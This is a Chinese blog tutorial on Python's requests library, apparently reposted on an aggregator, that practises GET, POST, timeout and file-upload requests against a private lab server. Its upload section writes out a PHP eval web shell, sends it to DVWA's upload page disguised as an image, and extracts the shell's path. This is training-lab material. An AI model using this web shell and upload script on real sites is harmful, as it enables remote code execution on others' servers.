requests模块高级用法练习

news2024/9/28 3:23:20

文章目录

  • 模拟浏览器指纹
  • 发送get请求
  • 发送post请求
  • 文件上传
  • 服务器超时

模拟浏览器指纹

打开http://10.9.75.164/php/functions/setcookie.php网页,找到请求头的UA字段,这段信息是浏览器的指纹(包括当前系统、浏览器名称和版本):

在这里插入图片描述

在Python脚本中新建一个headers字段,将该UA字段的信息放入:

下面脚本中用headers模拟了浏览器指纹,然后用requests.Session保持请求一致性,接着用req.get方法做请求,请求成功后输出头部信息。这个脚本模拟了正常浏览器指纹,让Python脚本不会被服务器拒绝访问

import requests

url= "http://10.9.75.164/php/functions/setcookie.php"
headers ={
    "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0"
}
req= requests.Session()			# 保持请求一致性
res= req.get(url= url,headers= headers)

print(res.request.headers)

如下图,请求成功后输出信息:

在这里插入图片描述

发送get请求

在之前代码的基础上,定义一个params字典进行get传参,并输出响应正文:

import requests
url= "http://10.9.75.164/php/functions/setcookie.php"
headers ={
    "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0"
}
params={
    "username":"EMT",
    "password":"123456"
}
req= requests.Session()
# 保持请求一致性
res= req.get(url= url,headers= headers,params=params)
print(res.text)

运行结果如下:

在这里插入图片描述

发送post请求

url路径替换为同目录下的post.php文件,定义一个data字典传递post参数,用req.post方法传参,传参后输出响应正文、请求头和请求正文。

import requests
url= "http://10.9.75.164/php/functions/post.php"
headers ={
    "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0"
}
data={
    "username":"EMT",
    "password":"123456"
}
req= requests.Session()
# 保持请求一致性
res= req.post(url= url,headers= headers,data=data)
print(res.text)
print(res.request.headers)
print(res.request.body)

如下图,成功输出了响应正文、请求头和请求正文:

在这里插入图片描述

文件上传

打开bp的内置浏览器,在文件上传一关上传一个文件,显示上传成功:
在这里插入图片描述

上传成功后用bp抓包,发送到repeater模块,查看数据包,要想用Python脚本上传文件,就要有下面三个数据包的字段:POST请求方法、10.9.75.164的请求页面和POST请求包携带的参数

在这里插入图片描述

然后在页面查看源码,上传文件的地方就是文件的文件域,可以看到它的类型是文件,name=“uploaded”:
在这里插入图片描述

上传文件时,会对文件的后缀、类型和内容进行检测,也就是抓到数据包的下面部分:

Content-Disposition: form-data; name="uploaded"; filename="1.php"
Content-Type: application/octet-stream

<?php @eval($_POST[777])phpinfo() ?>

在Python脚本中,要将上面三部分内容放到一个字典中的文件域中(文件域是一个元组),文件内容二进制上传,前面加上b:

files={
        "uploaded": ("2.php",b"<?php @eval($_REQUEST[777]);phpinfo();?>","image/png")
}

在有了文件的后缀、类型和内容后,还需要数据包中的两部分内容MAX_FILE_SIZE和Upload:

data={
    "MAX_FILE_SIZE":"100000",
    "Upload":"Upload"
}

上面内容都集齐后,该脚本还需要登录dvwa网站才能上传文件,所以还需要cookie信息,将它添加到headers中:

headers ={
    "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36",
    "Cookie": "security=low; PHPSESSID=8u2538icnljkbrojp7st99imq3"
    }

下面是完整脚本,这时候体现出关键字传参的优越性,post包中的字段都有先后顺序,用关键字传参可以准确地按次序传参,不会造成错误,最后输出响应正文:

import requests
url= "http://http://10.9.75.164/dvwa_2.0.1/vulnerabilities/upload/"
headers ={
    "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36",
    "Cookie": "security=low; PHPSESSID=8u2538icnljkbrojp7st99imq3"
    }
data={
    "MAX_FILE_SIZE":"100000",
    "Upload":"Upload"
}
files={
        "uploaded": ("2.php",b"<?php @eval($_REQUEST[777]);phpinfo();?>","image/png")
}
req= requests.Session()
# 保持请求一致性
res= req.post(url= url,headers= headers,files=files,data=data)

print(res.text)

但是这样输出的响应正文内容非常多,我们怎么才能提取出有用信息呢?用正则表达式。

添加一个bs4模块,用bs4.BeautifulSoup解析响应正文,然后用soup.findAll(“pre”)搜索所有的包含pre标签的内容:
在这里插入图片描述

它是一个列表,用pre[0].text转成文本:
在这里插入图片描述

最后查找第一个空格后切割,然后输出,完整代码如下:

import requests
import bs4
url="http:10.9.75.164/dvwa_2.0.1/vulnerabilities/upload/"

headers ={
    "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36",
    "Cookie": "security=low; PHPSESSID=8u2538icnljkbrojp7st99imq3"
    }

data={
    "MAX_FILE_SIZE":"100000",
    "Upload":"Upload"
}

files={
        "uploaded": ("2.php",b"<?php @eval($_REQUEST[777]);phpinfo();?>","image/png")
}

req= requests.Session()
# 保持请求一致性

res= req.post(url= url,headers= headers,data=data,files=files)

html= res.text
soup= bs4.BeautifulSoup(html,"lxml")
pre= soup.findAll("pre")
pre= pre[0].text


shell_path= pre[0:pre.find(" ")]
print(f"[+] Shell Path:{url}{shell_path}")

执行该脚本后成功获取到上传后文件的路径:

在这里插入图片描述

访问该路径如下,写入一句话木马成功:

在这里插入图片描述

服务器超时

在dvwa目录下写一个php文件并访问:

在这里插入图片描述

然后Python访问该文件,写一个get_timeout,设置超时时间为5秒,让该方法在超时时输出timeout!,成功访问则返回响应正文,最后用print输出该方法的返回值(此处用try else和except做了Python异常处理,关于Python异常,详情请移步我的这篇博客 Python异常):

import requests

url = "http://10.9.75.164/php/functions/sleep.php"
headers ={
    "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36",
    "Cookie": "security=low;PHPSESSID=8u2538icnljkbrojp7st99imq3"
    }
def get_timeout(url):
    try:
        req= requests.Session()
        res= req.post(url= url,headers= headers,timeout=5)
    except:
        return "timeout!"
    else:
        return res.text

print(get_timeout(url))

如图,因为php中的沉睡时间是10秒,脚本中的超时时间是5秒,所以访问超时,输出结果如下:
在这里插入图片描述

修改php中的沉睡时间为3秒,输出结果如下,能正常回显php文件的内容:

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1026143.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【再识C进阶3(上)】详细地认识字符串函数、进行模拟字符串函数以及拓展内容

小编在写这篇博客时&#xff0c;经过了九一八&#xff0c;回想起了祖国曾经的伤疤&#xff0c;勿忘国耻&#xff0c;振兴中华&#xff01;加油&#xff0c;逐梦少年&#xff01; 前言 &#x1f493;作者简介&#xff1a; 加油&#xff0c;旭杏&#xff0c;目前大二&#xff0c;…

【短文】sambe添加用户时报错Failed to add entry for user

2023年9月20日&#xff0c;周三晚上 Samba fails to add a user entry, how do I fix this? - Ask Ubuntu 也就是说&#xff0c;添加的sambe用户必须是Linux操作系统的用户

2023/09/20 day4 qt

做一个动态指针钟表 头文件 #ifndef WIDGET_H #define WIDGET_H#include <QWidget> #include <QPainter> //绘制事件类 #include <QPaintEvent> //画家类 #include <QTime> #include <QTimer> #include <QTimerEvent> QT_BEGIN…

k8s使用时无法ping通服务器From IP地址 icmp_seq=1 Destination Host Unreachable

天行健&#xff0c;君子以自强不息&#xff1b;地势坤&#xff0c;君子以厚德载物。 每个人都有惰性&#xff0c;但不断学习是好好生活的根本&#xff0c;共勉&#xff01; 文章均为学习整理笔记&#xff0c;分享记录为主&#xff0c;如有错误请指正&#xff0c;共同学习进步。…

canvas-绘图库fabric.js简介

一般情况下简单的绘制&#xff0c;其实canvas原生方法也可以满足&#xff0c;比如画个线&#xff0c;绘制个圆形、正方形、加个文案。 let canvas document.getElementById(canvas);canvas.width 1200;canvas.height 600;canvas.style.width 1200px;canvas.style.height 6…

Canal实现Mysql数据同步至Redis、Elasticsearch

文章目录 1.Canal简介1.1 MySQL主备复制原理1.2 canal工作原理 2.开启MySQL Binlog3.安装Canal3.1 下载Canal3.2 修改配置文件3.3 启动和关闭 4.SpringCloud集成Canal4.1 Canal数据结构![在这里插入图片描述](https://img-blog.csdnimg.cn/c64b40c2231a4ea39a95aac81d771bd1.pn…

kafka消费者多线程开发

目录 前言 kafka consumer 设计原理 多线程的方案 参考资料 前言 目前&#xff0c;计算机的硬件条件已经大大改善&#xff0c;即使是在普通的笔记本电脑上&#xff0c;多核都已经是标配了&#xff0c;更不用说专业的服务器了。如果跑在强劲服务器机器上的应用程序依然是单…

java框架-Spring-容器创建过程

java框架-Spring-容器创建源码

pip pip3安装库时都指向python2的库

当在python3的环境下使用pip3安装库时&#xff0c;发现居然都指向了python2的库 pip -V pip3 -V安装命令更改为&#xff1a; python3 -m pip install <package>

CCC数字钥匙设计【BLE】--URSK管理

1、URSK创建流程 URSK的英文全称为&#xff1a;UWB Ranging Secret Key&#xff0c;即UWB安全测距密钥。 在车主配对时会生成URSK&#xff0c;且在车主配对期间&#xff0c;车辆不得尝试生成第二个URSK。 URSK示例: ed07a80d2beb00f785af2627c96ae7c118504243cb2c3226b3679da…

面向面试知识--MySQL数据库与索引

面向面试知识–MySQL数据库与索引 优化难点与面试点 什么是MySQL索引&#xff1f; 索引的MySQL官方定义&#xff1a;索引是帮助MySQL快速获取数据的数据结构。 动力节点原文&#xff1a; MysQL官方对于索引的定义:索引是帮助MySQL高效获取数据的数据结构。 MysQL在存储数据之…

问题usr/bin/env: “python‘: Too many levels of symbolic links太多层链接的bug pycharm

问题描述 解决&#xff1a;建议不要用过去的conda环境了&#xff0c;直接新建一个环境&#xff0c;然后在图片这个步骤的时候务必选择现有的解释器 。&#xff08;产生问题的原因可能就是新建的解释器太多了&#xff09;

Mermaid画流程图可以实现从一条线中间引出另外一条线吗

这张图中开始和操作1之间引出的一条线要怎么表示啊&#xff01;&#xff01;&#xff01; Mermaid是不能实现这样的画法的吗&#xff1f;可是为什么老师就可以画出来&#xff1f;&#xff1f;&#xff1f; 求大佬指教&#xff01;&#xff01;&#xff01;&#xff01;

现场总线学习

文章目录 1.现场总线现状2.数据编码2.1 数字数据的数字编码2.2 数字数据的模拟编码 3.通信方式&#xff01;&#xff01;&#xff01;4.局域网及其拓扑结构5.工业总线协议6.为什么要在can协议的控制器和bus总线之间&#xff0c;连接一个can收发器&#xff1f;7.那其他协议也需要…

vue修改node_modules打补丁步骤和注意事项

当我们使用 npm 上的第三方依赖包&#xff0c;如果发现 bug 时&#xff0c;怎么办呢&#xff1f; 想想我们在使用第三方依赖包时如果遇到了bug&#xff0c;通常解决的方式都是绕过这个问题&#xff0c;使用其他方式解决&#xff0c;较为麻烦。或者给作者提个issue&#xff0c;然…

dev board sig技术文章:轻量系统适配ARM架构芯片平台

摘要&#xff1a;本文简单介绍OpenHarmony轻量系统移植&#xff0c;会分多篇 适合群体&#xff1a;想自己动手移植OpenHarmony轻量系统的朋友 开始尝试讲解一下系统的移植&#xff0c;主要是轻量系统&#xff0c;也可能会顺便讲下L1移植。 1.1移植类型 OpenHarmony轻量系统的…

腾讯云服务器收费价格表(腾讯云服务器租用价格表)

作为国内领先的云计算服务提供商&#xff0c;腾讯云凭借其稳定、安全、高效的特点&#xff0c;备受用户青睐。本文将详细介绍腾讯云服务器的收费价格表及使用场景&#xff0c;帮助大家更好地了解并选择合适的云服务器方案。 一、轻量应用服务器 轻量应用服务器是一款开箱即用的…

数字人民币如何将支付宝钱包余额转入到微信支付钱包余额?

数字人民币如何将支付宝钱包余额转入到微信支付钱包余额&#xff1f; 第一步&#xff1a;获取微信支付数字人民币钱包编号 1.1、手机上找到并打开数字人民币APP&#xff1b; 1.2、打开后找到微众银行&#xff08;微信支付&#xff09;微信钱包&#xff0c;并点击翻转获取收款…

攻防世界-WEB-fileinclude

访问url&#xff0c;可以看到一些提示&#xff0c;绝对路径/var/www/html/index.php&#xff0c;也提示了flag在flag.php中。 快捷键Ctrlu,查看网页源代码 思路&#xff1a; 源代码中看到 include($lan.".php"); &#xff0c;可知此处存在文件包含。$lan的值是从co…

虚拟线程最佳实践

Virtual Threads: An Adoption Guide 虚拟线程&#xff1a;采用指南 接上篇 Virtual Threads 虚拟线程 原文&#xff1a;https://docs.oracle.com/en/java/javase/21/core/virtual-threads.html 虚拟线程是由 Java 运行时而不是操作系统实现的 Java 线程。虚拟线程和传统线程&…